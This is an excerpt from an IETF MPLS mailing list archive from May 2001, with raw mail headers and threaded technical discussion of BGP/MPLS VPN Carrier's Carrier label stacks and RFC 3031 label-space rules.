<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>pwe3 Mailer</TITLE>
</HEAD>
<BODY>

<P ALIGN=3DLEFT><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Arial">Is =
there a pwe3 mail group</FONT><FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial">?&nbsp; How do you join?</FONT></P>

<P ALIGN=3DLEFT><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Arial">Jim =
Loehndorf</FONT></P>

<P ALIGN=3DLEFT><FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial">ASC</FONT></P>

</BODY>
</HTML>
------_=_NextPart_001_01C0DCA0.46468A40--


From owner-mpls@UU.NET  Mon May 14 14:35:50 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA20957
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 14:35:50 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkozy19395;
	Mon, 14 May 2001 18:31:49 GMT
Received: by mail-control.mail.uu.net 
	id QQkozy21704
	for mpls-outgoing; Mon, 14 May 2001 18:31:13 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkozy21629
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 18:30:59 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkozx25721
	for <mpls@uu.net>; Mon, 14 May 2001 18:29:03 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkozx29187
	for <mpls@uu.net>; Mon, 14 May 2001 18:29:03 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id OAA19661 for mpls@uu.net; Mon, 14 May 2001 14:29:02 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkozx21035
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 18:28:28 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkozx08769
	for <mpls@UU.NET>; Mon, 14 May 2001 18:24:47 GMT
Received: from cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: london2.cisco.com [144.254.32.10])
	id QQkozx11866
	for <mpls@UU.NET>; Mon, 14 May 2001 18:24:46 GMT
Received: from JGUICHAR-W2K.cisco.com (jguichar-isdn-home.cisco.com [10.49.131.222])
	by cisco.com (8.8.8+Sun/8.8.8) with ESMTP id UAA26178;
	Mon, 14 May 2001 20:20:21 +0200 (MET DST)
Message-Id: <4.3.2.7.2.20010514185516.01a72ed8@london2.cisco.com>
X-Sender: jguichar@london2.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 14 May 2001 19:05:38 +0100
To: Sasha Vainshtein <Sasha@AXERRA.com>
From: jim guichard <jguichar@cisco.com>
Subject: RE: BGP/MPLS VPN PE LSR
Cc: Sasha Vainshtein <Sasha@AXERRA.com>,
        "Metz, Eduard" <Eduard.Metz@KPNQwest.com>,
        "'Shahram Davari'" <Shahram_Davari@pmc-sierra.com>,
        "'mpls@uu.net'" <mpls@UU.NET>, Alik Shimelmits <alik@AXERRA.com>,
        Elena Vinkler <elena@AXERRA.com>
In-Reply-To: <AF5018AC03D1D411ABB70002A5091326039D12@TLV1>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

At 20:06 14/05/2001 +0200, Sasha Vainshtein wrote:
>Jim,
>Thank you once more. Please confirm if the following understanding is
>correct
>(even if, probably, incomplete):
>1. From the provider's point of view, the VPN consists only of CE routers,
>    i.e., it knows their addresses but not destinations behind them
>   (in you terms, PE-1 learns a (direct) route to ASBR-A but not to any
>prefix N behid ASBR-A)

 From the providers point of view it only knows of routes that are 
advertised from the CE router - there may be other addresses (such as 
internal servers) which must also be reachable from other sites so these 
may also be advertised to the provider. In general, the only routes which 
will be off-loaded will be external routes to the site e.g. Internet or 
customer routes.

>2. CE routers belonging to the same VPN maintain iBGP sessions between them.

yes.

>    These sessions are used to distribute information about prefixes behind
>each CE to its peers
>    with the corresponding CE as a BGP next hop for these prefixes.

they are used to distribute any external routes such as Internet or 
customer routes.

>3. PEs advertise to their peers and, through them, to their adjacent CEs:
>    a) Routes to other CEs :
>       * In a PE such a route is a BGP route with the appropriate PE as its
>BGP next hop;
>         it isadded to the appropriate VRF instance

yes

>       * In the CE this route is not really necessary (a default route would
>suffice). But it is a
>         regular route with the adjacent PE as its next hop

the CE cannot use default as the default cannot point to all other sites. 
It could use default for a central site.

>     b) Incoming labels for 4-hop LSPs:
>       * The ingress CE
>       * Appropriate VRF instance in the ingress PE
>       * Apropriate VRF instance in egress PE
>       * Egress CE.

just VPN label is advertised from the originating PE to other PEs which 
import the routes into their attached VRFs. They then allocate their own 
IGP label for the route and advertise this label to any attached CE routers 
with whom they have an LDP adjacency.

>     c) This advertisement is initiated by the egress PE (and not by the
>egress CE);
>         as a consequence, the LSP in question operates is if PHP were
>negotiated
>5. Ingress CE flow:

I would say ingress ASBR ..

>   a) Look at the dest IP address

yes

>   b) Find an egress CE which is a BGP next hop to the prefix which matches
>this dest IP address

route toward the next-hop of the BGP route - this is normal routing 
behaviour. If MPLS is run within the site then label imposition will occur 
at this point. If not, then the first label will be imposed by the exit 
point CE router.

>   c) Push a label which corresponds to (this CE-to-the BGP next hop CE) and
>send to PE
>6. Ingress PE flow:
>   a) Swap the incoming label to one advertized by the egress PE for this
>LSP.
>      I expect that at this point all the 4-hop LSPs with the common egress
>CE
>      would be merged at this point
>   b) Push atop of it a label for the PE-to-PE tunnel. This label is defined
>like following:
>      * Look at the FEC for the incoming label - it is the egress CE address
>      * Find a BGP next hop for this address in the VRF  - it is the egress
>PE address
>     *  Find a label which suits to the best-matching FEC for this address.
>
>The gain provided by this scheme vs. the normal RFC2547 one will be
>perceived if
>the CEs in question are really ASBRs, i.e., there are multiple prefixes
>behind each of them. In such a case the core learns only ASBR addresses but
>not
>the actual prefixes behind them.

absolutely and this is the main purpose of this architecture ..


>Hopefully I did not extend your patience beyond reasonable limits.

not at all .. Jim


>With best regards,
>                                    Sasha Vainshtein
>email:     sasha@axerra.com
>tel:       +972-3-7659993 (office)
>            +972-8-9254948 (res.)
>            +972-58-674833 (cell.)
>
>
>
> > -----Original Message-----
> > From: jim guichard [mailto:jguichar@cisco.com]
> > Sent: Monday, May 14, 2001 5:16 PM
> > To: Sasha Vainshtein
> > Cc: Sasha Vainshtein; Metz, Eduard; 'Shahram Davari';
> > 'mpls@uu.net'; Alik Shimelmits; Elena Vinkler
> > Subject: RE: BGP/MPLS VPN PE LSR
> >
> >
> > Sasha,
> >
> > comments in-line ...
> >
> > At 17:39 14/05/2001 +0200, Sasha Vainshtein wrote:
> > >Jim,
> > >Thank you for a prompt response. However, it leaves several
> > point unclear.
> > >1. Neither RFC 2547 nor rfc2547bis does not specify which
> > routing protocols
> > >run between
> > >    CE and PE if any at all. In the basic model, CE does not
> > require any
> > >    specific route at all - a default route via its PE is
> > sufficient. In its
> > >turn,
> > >    PE may learn routes to destinations behind its adjacent
> > CE via static
> > >configuration.
> > >    So what happens if  there is no routing protocol between
> > CE and its
> > >adjacent PE?
> >
> > you may use OSPF, RIPv2 or static between PE-CE. LDP provides label
> > distribution across the link.
> >
> > >2. AFAIK in the 2547 model:
> > >    a) PE somehow learns routes to destinations behind its
> > adjacent CEs and
> > >installs
> > >        them in the VRF instance associated with the given VPN
> >
> > in the case of CsC, the PE learns BGP next-hop addresses that
> > are behind
> > the adjacent CE router. Other routes may be exchanged
> > directly between
> > sites WITHOUT being advertised toward the PE. This is
> > achieved through iBGP
> > sessions between sites.
> >
> > >    b) iBGP distributes addresses of PEs as BGP next hops for the
> > >        VPN destinations behind their adjacent CEs together
> > with _internal_
> > >labels which
> > >        are associated with the VRF instances within these PEs
> >
> > yes and no. If the site is not running MPLS then BGP next-hops are
> > exchanged with the PE but without labels. If the site is
> > running MPLS then
> > the BGP next-hop is advertised to the PE as normal and a
> > label binding for
> > the prefix is agreed between PE and CE routers - standard LDP
> > behaviour.
> > Once the PE has these routes within the VRF, MP-BGP
> > distributes the prefix
> > information as per 2547 model.
> >
> > >    c) IGP (OSPF or ISIS)  within the MPLS backbone provides for IP
> > >connectivity between PEs
> > >    d) LDP provides for MPLS connectivity between PEs
> > >    e) PEs use labels associated with LSPs to their peers as
> > _external_
> > >labels in the
> > >        two-level label stack.
> > >    This means that  internal labels refer to VRF
> > instance-to-VRF instance
> > >LSPs while
> > >    external labels refer to PE-to-PE LSPs.
> >
> > PEs will use a two level label stack (simple case) where the
> > inner label is
> > the VPN label (BGP next-hop address) as allocated by the
> > ingress PE router
> > and the outer label is the IGP label as allocated by LDP. This is the
> > normal 2547 model, nothing new with CsC.
> >
> > >3. Now comes the key question: to which LSP should belong a
> > label in a
> > >    packet sent by the CE to its adjacent PE?
> >
> > The flow is as follows :
> >
> > Site A has prefix N which is reachable via ASBR_A. Site A
> > advertises prefix
> > N to Site B via iBGP with a next-hop of ASBR_A. Site A
> > advertises prefix
> > ASBR_A to PE-1 within the MPLS VPN backbone. PE-1 imports
> > ASBR_A prefix
> > into VRF A. PE-1 redistributes prefix ASBR_A into MP-BGP.
> > PE-1 advertises
> > RD:ASBR_A to PE-2 which imports the route into VRF A. PE-2 advertises
> > ASBR_A to CE-2 in Site B and distributes label X via LDP.
> > CE-2 advertises
> > ASBR_A into Site B using its IGP.
> >
> > When a packet comes into Site B destined for network N, the
> > next-hop for
> > network N on the incoming ASBR points to ASBR_A. As ASBR_A
> > was learnt from
> > within the IGP the traffic takes the IGP path toward the
> > next-hop. When the
> > packet hits CE-2, label imposition occurs as a label for
> > ASBR_A was learnt
> > from PE-2. CE-2 sends the packet with label X to PE-2 which
> > swaps the label
> > for a two-level label stack. This label stack is the VPN
> > label for prefix N
> > as assigned by PE-1 and the IGP label to reach PE-1. When
> > PE-1 receives the
> > packet it will have a one level label stack. The packet is
> > then switched
> > toward CE-1 as a normal IP packet destined for prefix N.
> >
> > >    I see the following use cases:
> > >    a) They belong to CE-to-CE LSPs which are tunneled in the
> > >        VRF instance-to-VRF instance ones,
> > >        i.e. they are never visible in the MPLS VPN backbone
> > including PEs.
> > >       This is the scenario I had in mind. It also may be
> > related to the
> > >flavor which you have
> > >       called hierarchical VPN. The probelm is that PE has
> > to recognize these
> > >labels in order to
> > >       process them in any way. I do not see how this is possible.
> > >    b) They belong to CE-to-CE tunnels which are just
> > extensions of the
> > >        VRF instance-to-VRF instance ones. This will only
> > >       work if there is just one customer site per PE per VPN.
> > >   c) They belong to (upstream CE)-to-(VRF instance in the
> > downstream PE)
> > >LSPs.
> > >       IMHO this corresponds to the process you have
> > described in your answer
> > >and
> > >       also to the "VPN site running MPLS" flavor. The
> > problem with this
> > >scenario is
> > >       that the provider's network topology becomes
> > partially visible to the
> > >CE routers
> > >       ( they have to know which PE acts as the BGP next hop
> > for the specific
> > >destination
> > >      in their VPN). AFAIK this is considered as undesirable
> > in the common
> > >VPN framework.
> > >
> >
> > all that is needed within a site is to learn the route via BGP and
> > understand how to route to that BGP destination. This is
> > driven by the BGP
> > next-hop. As the next-hop is learnt from an exit point CE, we
> > route toward
> > the CE (assuming no MPLS within the site) and then perform
> > label imposition
> > on the CE - there is no knowledge of the providers network topology
> > required. Hope this helps. Jim
> >
> >
> > >With best regards,
> > >                                    Sasha Vainshtein
> > >email:     sasha@axerra.com
> > >tel:       +972-3-7659993 (office)
> > >            +972-8-9254948 (res.)
> > >            +972-58-674833 (cell.)
> > >
> > >
> > >
> > > > -----Original Message-----
> > > > From: jim guichard [mailto:jguichar@cisco.com]
> > > > Sent: Monday, May 14, 2001 10:35 AM
> > > > To: Sasha Vainshtein
> > > > Cc: Metz, Eduard; 'Shahram Davari'; 'mpls@uu.net'; Alik
> > > > Shimelmits; Elena Vinkler
> > > > Subject: RE: BGP/MPLS VPN PE LSR
> > > >
> > > >
> > > > Sasha,
> > > >
> > > > At 11:03 14/05/2001 +0200, Sasha Vainshtein wrote:
> > > > >Regarding the Carriers Carrier model:
> > > > >My assumption is that in this model the label on the packet
> > > > >sent by the upstream CE router to its appropriate  PE has
> > > > been assigned
> > > > >(to some FEC)
> > > >
> > > > your assumption is not correct. The label that the CE will use is
> > > > distributed by its upstream PE router. The external routes of
> > > > the site are
> > > > distributed to other sites using iBGP. The BGP next-hops for
> > > > these prefixes
> > > > are exchanged with the MPLS VPN backbone using standard
> > > > routing protocols
> > > > but also LDP label distribution. The BGP next-hops are placed
> > > > into the PE
> > > > routers VRF and then advertised across the backbone as VPNv4
> > > > prefixes. Once
> > > > imported into the receiving PE routers VRF, they are
> > advertised using
> > > > standard routing protocols to the CE but also with LDP label
> > > > distribution.
> > > > All of this provides an end-to-end LSP between ASBRs in
> > > > different sites,
> > > > and provides the ability to off load large amounts of prefix
> > > > information
> > > > from the MPLS VPN backbone .. Jim
> > > >
> > > > >  by the peer downstream CE router at the
> > > > >other side of the CE<-->CE tunnel and then distributed to
> > > > >the upstream CE (e.g., via a direct LDP session between the
> > > > two CE routers)
> > > > >  without any involvement of the PE routers (save from that that
> > > > >they provide an IP VPN connectivity between CEs
> > > > >so that the latter can run LDP sessions between them).
> > > > >This means that PE cannot do anything with such a label per se!
> > > > >One way to overcome siuch a situation would be for the two
> > > > CEs to run either
> > > > >
> > > > >MPLS-in-IP or MPLS-in-GRE between them as described in
> > > > ><draft-worster-mpls-in-ip-04.txt>.
> > > > >
> > > > >With best regards,
> > > > >                                    Sasha Vainshtein
> > > > >email:     sasha@axerra.com
> > > > >tel:       +972-3-7659993 (office)
> > > > >            +972-8-9254948 (res.)
> > > > >            +972-58-674833 (cell.)
> > > > >
> > > > >
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: jim guichard [mailto:jguichar@cisco.com]
> > > > > > Sent: Thursday, May 10, 2001 11:41 AM
> > > > > > To: Metz, Eduard
> > > > > > Cc: 'Shahram Davari'; 'mpls@uu.net'
> > > > > > Subject: RE: BGP/MPLS VPN PE LSR
> > > > > >
> > > > > >
> > > > > > The case where a PE will receive a labelled packet is
> > > > > > referred to as the
> > > > > > Carriers Carrier architecture and it has several flavours. In
> > > > > > the case
> > > > > > where the VPN site is running MPLS, then you will see a two
> > > > > > level label
> > > > > > stack across the carrier backbone. A three level label stack
> > > > > > will be seen
> > > > > > when the VPN site is running MPLS VPN and this is
> > referred to as a
> > > > > > hierarchical VPN. Jim
> > > > > >
> > > > > > At 10:43 10/05/2001 +0200, Metz, Eduard wrote:
> > > > > >
> > > > > > >I assume you are referring to the 'carriers-carrier' model.
> > > > > > This section in
> > > > > > >the draft is pretty vague. However, are you sure 2 labels
> > > > > > will be added?
> > > > > > >Could the PE not also use the customer label as the inner
> > > > > > label (and thus
> > > > > > >swap it)?
> > > > > > >
> > > > > > >
> > > > > > > > -----Original Message-----
> > > > > > > > From: Shahram Davari
>[mailto:Shahram_Davari@pmc-sierra.com]
> > > > > > > Sent: 09 May 2001 21:16
> > > > > > > To: 'mpls@uu.net'
> > > > > > > Subject: BGP/MPLS VPN PE LSR
> > > > > > >
> > > > > > >
> > > > > > > Hi,
> > > > > > >
> > > > > > > In an BGP/MPLS VPN scenario if a CE router sends an MPLS
> > > > > > > packet rather than an IP packet to a PE router, the PE router
> > > > > > > should still push 2 labels. My question is, should the PE
> > > > > > > router swap the customer's label too or leave it unchanged?
> > > > > > >
> > > > > > > Yours,
> > > > > > > -Shahram
> > > > > > >
> > > > > > >
> > > > >
> > > > >
> > > > >
> > > > > Jim Guichard CCIE #2069
> > > > > Technical Leader EMEA
> > > > >
> > > > > +44 208 756 8806
> > > > > Mobile: +44 7802 809763
> > > > >
> > >
> > >
> > >
> > > Jim Guichard CCIE #2069
> > > Technical Leader EMEA
> > >
> > > +44 208 756 8806
> > > Mobile: +44 7802 809763
> > >
>
>
>
>Jim Guichard CCIE #2069
>Technical Leader EMEA
>
>+44 208 756 8806
>Mobile: +44 7802 809763



Jim Guichard CCIE #2069
Technical Leader EMEA

+44 208 756 8806
Mobile: +44 7802 809763



From owner-mpls@UU.NET  Mon May 14 15:32:49 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA22518
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 15:32:48 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpac26876;
	Mon, 14 May 2001 19:31:00 GMT
Received: by mail-control.mail.uu.net 
	id QQkpac17865
	for mpls-outgoing; Mon, 14 May 2001 19:30:13 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpab17597
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 19:26:53 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpab02341
	for <mpls@UU.NET>; Mon, 14 May 2001 19:25:55 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkpab07687
	for <mpls@UU.NET>; Mon, 14 May 2001 19:25:54 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 1A5AE94006; Mon, 14 May 2001 15:25:54 -0400 (EDT)
Message-ID: <3B003142.D8D08C4B@sandburst.com>
Date: Mon, 14 May 2001 15:25:54 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Shantnu Sharma <ssharma@nexen.com>
Cc: Bhupesh Bajaj <bhupeshb@in.huawei.com>, Manoj Dutta <manoj@ipinfusion.com>,
        mpls@UU.NET, mpls-ops@mplsrc.com
Subject: Re: Label Mapping mesage !!
References: <751B6DD7A243D511AB9F0002557C568707072D@HUAWEIMAIL> <3AFFC8B6.62DEA8E4@nexen.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Shantnu,

    I disagree.

    An unfortunate artifact of the choice to use the term 'label
space' is that it can be confusing.  While implementations may
choose to actually use distinct labels in each 'label space',
this is NOT a requirement.  In fact, the quote below is trying
to make this very point - i.e. the exact same label can mean
different things in a different 'label space'.  For this very
reason, I had tried early on to get the term changed to 'label
context', but I was unsuccessful.

    Because the same label can come from different 'label spaces',
it is quite possible to use the same label with different peers
- irrespective of whether or not the per-platform, or interface
specific 'label space' is used.  The 'label space', therefore, is
orthogonal to the issue of supporting multiple FECs using a single
label.

    The section to which Bhupesh refers, is attempting to describe
the implications of using the same label in different ways - and
specifically when this may be allowed.  It is not attempting to
describe the situation in which the same label accomodates multiple
FECs in the same way.  You may want to note that section 3.14, as a
whole, is somewhat misleading.  It seems to imply that there is some
difficulty in being able to determine what peer sent a labeled
packet except in the case where peers are connected by point to
point links.  In general, however, it is only difficult to determine
what peer sent a labeled packet when the label is received on an LSP
for which the ingress is unknown (either because the LSP is a merged
LSP or because the local LSR issued either an implicit NULL label to
the immediate upstream LSR).  This is common behavior, but - by no
means - the only way to tunnel labeled packets.

    It is worth noting that - if a downstream LSR 'Rd' has issued an
implicit NULL label to an upstream LSR 'Ru' and the upstream LSR
performs PHP for a labeled packet where the label is not the bottom
of the stack - it is technically 'violating' the MPLS encapsulation
specification (the implicit NULL labels are for IPv4 and IPv6 packets,
and not for MPLS labeled packets).  However, I believe that this is a
common 'violation'. In the event that this is being done, however, it
will be impossible for the LSR to determine which peer sent a labeled
packet even over a point-to-point link.

--
Eric Gray


You wrote:

>
> Greetings!
>
> Bhupesh,
>
> Your statement is correct. If you have platform wide label space you
> cannot advertise the same label for different FECs.
>
> Thanks
> Shantnu
>
>
> Bhupesh Bajaj wrote:
>
>> hi...
>> as specified in RFC 3031..in section 3.14 "scope and
>> uniqueness....."
>>
>> "A given LSR Rd may bind label L to FEC F1, and distribute that
>>    binding to label distribution peer Ru1.  Rd may also bind label L
>> to
>>    FEC F2, and distribute that binding to label distribution peer
>> Ru2.
>>    IF (AND ONLY IF) RD CAN TELL, WHEN IT RECEIVES A PACKET WHOSE TOP
>>
>>    LABEL IS L, WHETHER THE LABEL WAS PUT THERE BY RU1 OR BY RU2,
>> THEN
>>    THE ARCHITECTURE DOES NOT REQUIRE THAT F1 == F2.  In such cases,
>> we
>>    may say that Rd is using a different "label space" for the labels
>> it
>>    distributes to Ru1 than for the labels it distributes to Ru2."
>>
>> it gets clear that the the Rd may specify the same label BUT the
>> label space
>> used for the Ru1 and Ru2 will be different.
>>
>> or in other words , if its using Per Platform Label space, the Rd
>> MUST not
>> specify the Same Label for different FEC's possibly belonging to
>> different
>> Ru's.
>>
>> Correct me If i am wrong
>>
>> thanks and regards
>> bhupesh
>>
>> -----Original Message-----
>> From: Manoj Dutta [mailto:manoj@ipinfusion.com]
>> Sent: Monday, May 14, 2001 1:20 PM
>> To: mpls@UU.NET
>> Subject: Label Mapping mesage !!
>>
>> hi,
>>
>> Is is possible for a given LSR Rd to distribute the same label
>> mapping
>> for more than one fec elements to another LSR Ru while using
>> platform
>> wide label space only. If so, then what are the possible scenarios.
>>
>> thanks
>> manoj
>>
>> -------
>> The MPLS-OPS Mailing List
>> Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
>> Archive: http://www.mplsrc.com/mpls-ops_archive.shtml
>
> --
> ***************************************************************
>         I am prepared to die, but there is no cause
>         for which I am prepared to kill.
>         - Mohandas Karamchand GANDHI
>
>



From owner-mpls@UU.NET  Mon May 14 15:33:46 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA22542
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 15:33:46 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpac12103;
	Mon, 14 May 2001 19:32:39 GMT
Received: by mail-control.mail.uu.net 
	id QQkpac17891
	for mpls-outgoing; Mon, 14 May 2001 19:30:37 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpab17744
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 19:28:47 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpab29528
	for <mpls@UU.NET>; Mon, 14 May 2001 19:26:06 GMT
Received: from sandmail.sandburst.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkpab03953
	for <mpls@UU.NET>; Mon, 14 May 2001 19:26:05 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 3022994009; Mon, 14 May 2001 15:26:05 -0400 (EDT)
Message-ID: <3B00314D.42B7BAD0@sandburst.com>
Date: Mon, 14 May 2001 15:26:05 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Akshat Kapoor <akshat@mercurykr.com>
Cc: Manoj Dutta <manoj@ipinfusion.com>, mpls@UU.NET
Subject: Re: Label Mapping mesage !!
References: <3AFF8E23.2FE45914@ipinfusion.com> <005001c0dc5b$79e8abc0$150d85a5@dti.daewoo.co.kr>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Akshat,

    The meaning of 'over a particular one of the interfaces' is not
(and never has been) absolutely crystal clear to me.  At issue, is
whether or not there is a viable implementation which adopts some
perspective on the use of such a label that is sufficiently at odds
with a perspective adopted by another workable implementation, that
the result would be to incorrectly forward packets bearing this label.

    I believe it is fair to say that - with downstream allocation of
labels - assuring correctness of forwarding is the burden of the
downstream LSR that issues the labels.  Therefore, if a label is
distributed by a downstream LSR 'Rd' to an upstream LSR 'Ru' in
association with a particular interface and FEC, it is up to Rd to
ensure that packets received on that interface - bearing this label
(and received from Rd) - are correctly forwarded based on the FEC to
which this label is bound.  If this same label is also distributed
for this same FEC in association with a different particular interface
- either explicitly, or by implication (based on a common label 'space',
for instance) - then, once again, it is Rd's responsibility to ensure
correct forwarding.

    If it is possible to associate more than one FEC with a label,
and this association (or binding) is advertised for more than one
interface, then again Rd is responsible for ensuring that packets
received with this label are correctly forwarded - based on any
of the possible FECs associated with this label. Rd may distribute
any labels which it will be able to use in correctly forwarding a
labeled packet - provided that this does not impose an unreasonable
burden on Ru.  In some cases, issuing the same label for multiple
FECs could be seen to reduce label consumption at all upstream LSRs
which MAY be beneficial throughout an MPLS domain.

    So, it seems to me, as long as it is possible to associate more
than one FEC with the same label issued by Rd, Ru should be able to
forward packets for any FEC associated with that label to Rd and
rely on those packets being correctly forwarded.  As far as I can
tell, it only necessary for an LSR to comply with the letter of the
appropriate signaling and encapsulation specifications and the spirit
of the architecture specification.

    It may not be possible to associate more than one FEC with a
single label, however, because issuing the same label for multiple
FECs implies that multiple labels were requested (one for each FEC
from Ru's perspective) and only one is given.  Ru may not be able
(or may not be optimized) to use a single label in this case; for
example, Ru may not be able to perform a merging operation implied
by the common label issued by Rd.  If this is the case, however, Ru
may (as in the general non-merging case) simply request more labels
for each FEC and release the common label (or at least all but one
FEC in association with the common label.  Since it is possible
that Rd may be learning impaired, there is the real possibility that
this process could become quite tiresome - so there should some way
to configure a peer relationship for the general non-merging case.
Note that the non-merging case applies only to ATM LSRs.  Also, it
is a general need (supported in the appendix of the LDP specification,
at least) for Rd to issue a different label if an additional label is
requested for any FEC that Rd has issued a label binding, that has
not been released by Ru.  Likewise, Ru should not release a label
it has received from Rd if it is trying to get a different label.  In
other words, if Rd gives a label to Ru for a FEC (or multiple FECs)
and Ru requests another label, Rd must give Ru another label (not the
same one) - but, in order to ensure that this happens, Ru must not
release the label it does not want until it has received another one.

    Also, combining FECs using a single label can result in excessive
label churning if there are frequent route changes in an MPLS domain.

    Since there are ways to work around LSRs that disagree on the
usefulness of combining FECs using a single label - however clunky
- and these are already required by the need to deal with merging
and non-merging LSPs, then I believe that the current specifications
already say enough on the subject.

--
Eric Gray

You wrote:

> Hi Manoj,
>     Refer to section 3.14 of rfc 3031
>
> "If a particular LSR Rd is attached to a particular LSR Ru over two
>    point-to-point interfaces, then Rd may distribute to Ru a binding of
>    label L to FEC F1, as well as a binding of label L to FEC F2, F1 !=
>    F2, if and only if each binding is valid only for packets which Ru
>    sends to Rd over a particular one of the interfaces.  In all other
>    cases, Rd MUST NOT distribute to Ru bindings of the same label value
>    to two different FECs."
>
> Akshat
>
> ----- Original Message -----
> From: "Manoj Dutta" <manoj@ipinfusion.com>
> To: <mpls@UU.NET>
> Sent: Monday, May 14, 2001 1:19 PM
> Subject: Label Mapping mesage !!
>
> > hi,
> >
> > Is is possible for a given LSR Rd to distribute the same label mapping
> > for more than one fec elements to another LSR Ru while using platform
> > wide label space only. If so, then what are the possible scenarios.
> >
> > thanks
> > manoj
> >
> >



From owner-mpls@UU.NET  Mon May 14 19:46:48 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA27319
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 19:46:47 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpat15071;
	Mon, 14 May 2001 23:46:03 GMT
Received: by mail-control.mail.uu.net 
	id QQkpat05463
	for mpls-outgoing; Mon, 14 May 2001 23:45:21 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpas05075
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 23:44:58 GMT
